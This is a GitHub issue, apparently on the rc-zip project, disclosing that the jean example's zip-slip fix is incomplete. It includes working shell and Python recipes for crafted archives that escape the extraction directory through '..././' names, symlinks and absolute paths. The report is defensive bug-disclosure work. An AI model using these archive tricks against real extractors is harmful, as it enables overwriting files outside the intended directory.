More ways to zip slip jean
Closed this issue · 0 comments
#13 found a dot-dot directory traversal vulnerability in the jean example program. The mitigation there of stripping ../
from paths is incomplete, and there are still other ways to escape the target directory.
I'm looking at commit d43c169.
Dot-dot
The mitigation for #13 treats file names as strings, and removes all instances of the substring ../
(or ..\
on Windows).
https://github.com/rust-compress/rc-zip/blob/d43c16991b30dce0e25862854b16883eb3dd80f0/samples/jean/src/main.rs#L224-L228
First, ../
should be stripped even on Windows. /
is the zip file directory separator, regardless of the separator of the underlying filesystem (see appnote.txt 4.4.17).
Second, a file name may become a directory traversal after being transformed. For example, ..././escape.txt
becomes ../escape.txt
.
rm -f replace.zip
mkdir ...
touch .../escape.txt
zip -0 -X replace.zip ..././escape.txt
rm -r ...
cargo run -- unzip replace.zip
stat ../escape.txt
Symlink traversal
One entry may be a directory symbolic link pointing outside the target directory, and a later entry may write through the symlink.
This is like CVE-2002-1216 in GNU Tar.
rm -f symlink.zip
ln -s ../ path
zip -0 -X --symlinks symlink.zip path
rm path
mkdir path
touch path/escape.txt
zip -0 -X -D symlink.zip path/escape.txt
rm -r path
cargo run -- unzip symlink.zip
stat ../escape.txt
Absolute path
File names starting with /
are treated as absolute and can write outside the target directory. On Windows, prefixes like C:\
and UNC paths like \\ComputerName\
may also work.
This is like CVE-2001-1269 in Info-ZIP UnZip.
import zipfile
with zipfile.ZipFile("absolute.zip", mode="w") as z:
z.writestr("/tmp/escape.txt", "")
python3 absolute.py
cargo run -- unzip absolute.zip
stat /tmp/escape.txt
UnZip strips the absolute prefix in this case:
Archive: absolute.zip
warning: stripped absolute path spec from /tmp/escape.txt
extracting: tmp/escape.txt